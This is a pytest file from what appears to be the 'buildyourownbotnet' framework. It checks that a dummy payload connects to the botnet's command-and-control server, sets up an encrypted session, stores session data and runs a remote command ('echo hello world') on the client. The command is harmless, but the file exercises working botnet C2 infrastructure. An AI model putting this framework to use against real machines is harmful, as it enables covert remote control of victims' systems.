test_server.py

import os
import time
import pytest
from multiprocessing import Process
from buildyourownbotnet import c2
from buildyourownbotnet.core.dao import session_dao, task_dao
from buildyourownbotnet.server import SessionThread
from buildyourownbotnet.models import Session
from buildyourownbotnet.core import dummy_payload_for_testing
from ..conftest import app_client, new_user

def test_payload_connection(app_client, new_user):
    """
    Given an instance of the C2 socket server and an instance of a dummy payload,
    when the payload attempts to connect to the server,
    check that a secure connection is established. 
    
    This is a multi-step process which involves the following:
    1) TCP connection
    2) Diffie-Hellman IKE to generate a secure 256 bit symmetric key,
    3) Payload sends server info about the client machine
    4) Server creates a new session thread to handle the connection with the client,
    5) Session metadata is stored the database
    6) Client/server can now send AES-256-CBC encrypted messages over the network
    """
    # attempt connection
    try:
        payload = dummy_payload_for_testing.Payload(host='0.0.0.0', port='1337', gui='1', owner=new_user.username)
        payload_process = Process(target=payload.run)
        payload_process.start()
    except Exception as e:
        pytest.fail(f"Connection failed: {e}")

    # check 256 bit key generated by Diffie-Hellman IKE successfully, matches on client and server
    assert payload.key is not None
    assert len(payload.key) == 32

    # check session thread created correctly
    time.sleep(2)
    session_threads = c2.sessions.get(new_user.username)
    assert session_threads is not None
    assert isinstance(session_threads, dict)
    assert len(session_threads) == 1
    uid = list(session_threads.keys())[0]
    session_thread = session_threads[uid]
    assert isinstance(session_thread, SessionThread)

    # check session metadata stored in database
    session_metadata = session_dao.get_session(uid)
    assert session_metadata is not None
    assert isinstance(session_metadata, Session)

    # test send/receive data between client/server
    command = 'echo hello world'
    try:
        # store issued task in database
        task = task_dao.handle_task({'task': command, 'session': session_thread.info.get('uid')})

        # send task and get response
        session_thread.send_task(task)
        response = session_thread.recv_task()

        # update task record with result in database
        result_dict = task_dao.handle_task(response)
        result = str(result_dict['result']).encode()

        # if end-to-end encryption and remote command execution has worked, response will be 'hello world'
        assert result == b'hello world\n'
    except Exception as e:
        pytest.fail(f"Session command raised exception: {e}")
    finally:
        # kill payload
        session_thread.kill()
        payload_process.terminate()